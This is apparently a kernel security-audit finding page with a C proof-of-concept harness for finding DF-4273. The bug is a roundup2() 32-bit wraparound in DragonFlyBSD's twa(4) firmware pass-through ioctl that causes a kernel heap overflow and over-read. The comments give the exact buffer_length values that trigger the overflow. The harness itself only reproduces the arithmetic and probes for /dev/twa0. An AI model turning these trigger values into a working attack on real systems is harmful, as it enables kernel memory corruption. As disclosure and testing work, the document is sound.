⬢ DragonFlyBSD Kernel Audit
DF-4273 / twa_roundup2_overflow.c
← back to finding ↓ download raw
/*
 * DF-4273 PoC — twa(4) TW_OSL_IOCTL_FIRMWARE_PASS_THROUGH roundup2() wrap
 *
 * sys/dev/raid/twa/tw_osl_freebsd.c:927 does:
 *
 *   data_buf_size_adjusted = roundup2(user_buf->driver_pkt.buffer_length,
 *                                     sc->sg_size_factor);
 *   if ((req->length = data_buf_size_adjusted)) {
 *           req->data = kmalloc(data_buf_size_adjusted, ..., M_WAITOK);
 *           copyin(user_buf->pdata, req->data,
 *                  user_buf->driver_pkt.buffer_length);      <-- raw length
 *
 * buffer_length is TW_UINT32 (tw_cl_ioctl.h:96) and sg_size_factor is
 * TW_UINT32 (tw_osl.h:135) == 512 on the 9000 PCI (device id 0x1002,
 * tw_cl_fwif.h:174).  roundup2(x,y) = (((x)+((y)-1))&(~((y)-1)))
 * (sys/sys/param.h:403) is pure 32-bit unsigned arithmetic, so for
 * buffer_length in [0xFFFFFF01..0xFFFFFFFF] the round-up wraps:
 *
 *   roundup2(0xFFFFFF01, 512) == 0x00000400  (1024)
 *
 * => kmalloc(1024) followed by copyin() of ~4 GiB of fully attacker-
 * controlled bytes into it: unbounded kernel heap overflow (and the
 * matching copyout() at :1031 is an unbounded kernel-heap over-read).
 *
 * This userspace harness reproduces the exact kernel arithmetic (same
 * macro, same types) and shows what the kernel would allocate vs. what
 * it would copy for attacker-chosen ioctl values.  Running the real
 * ioctl requires a 3ware 9000 PCI controller (vendor 0x13C1 device
 * 0x1002); the harness also probes for /dev/twa0 so the run log records
 * whether the target hardware exists on the test machine.
 */
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>

typedef uint32_t TW_UINT32;

/* verbatim sys/sys/param.h:403 */
#define roundup2(x, y)  (((x)+((y)-1))&(~((y)-1)))

/* values from tw_cl_fwif.h:174 (device 0x1002 => 512) and tw_cl_share.h:72 */
#define SG_SIZE_FACTOR_9K      512u
#define SG_SIZE_FACTOR_OTHER     4u
#define TW_CL_MAX_IO_SIZE   0x20000u

static void probe(const char *label, TW_UINT32 sg)
{
    static const TW_UINT32 cases[] = {
        0x00000000u, 0x00000100u,          /* benign sizes */
        0x00020000u, 0x00020001u,          /* just past TW_CL_MAX_IO_SIZE */
        0x7FFFFFFFu,                        /* 2 GiB: unbounded kmalloc */
        0xFFFFFC01u, 0xFFFFFF00u,          /* wrap to 0 -> no-payload path */
        0xFFFFFF01u, 0xFFFFFF80u, 0xFFFFFFFFu /* wrap to 1024 -> overflow */
    };
    unsigned i;
    printf("%s (sg_size_factor=%u):\n", label, sg);
    for (i = 0; i < sizeof(cases)/sizeof(cases[0]); i++) {
        TW_UINT32 bl   = cases[i];             /* ioctl buffer_length */
        TW_UINT32 adj  = roundup2(bl, sg);     /* kernel allocation size */
        printf("  buffer_length=0x%08X -> kmalloc(0x%X=%u) copyin/copyout(0x%08X=%u)%s\n",
               bl, adj, adj, bl, bl,
               (adj && bl > adj) ? "   *** OVERFLOW: copy larger than buffer ***"
                                 : (!adj && bl) ? "   (no-payload path taken)"
                                 : (bl > TW_CL_MAX_IO_SIZE) ? "   (over max I/O, unchecked)" : "");
    }
}

int main(void)
{
    int fd;

    printf("DF-4273: twa passthru roundup2() 32-bit wrap arithmetic proof\n");
    printf("(reproduces tw_osl_freebsd.c:927 with kernel types/macro)\n\n");
    probe("device 0x1002 (3ware 9000 PCI)", SG_SIZE_FACTOR_9K);
    printf("\n");
    probe("devices 0x1003/0x1004/0x1005", SG_SIZE_FACTOR_OTHER);

    printf("\nProbing for the twa(4) control device:\n");
    fd = open("/dev/twa0", O_RDWR);
    if (fd < 0)
        printf("  open(\"/dev/twa0\") = -1 (%s)\n", strerror(errno));
    else {
        printf("  /dev/twa0 present (ioctl path reachable on this host)\n");
        close(fd);
    }
    return 0;
}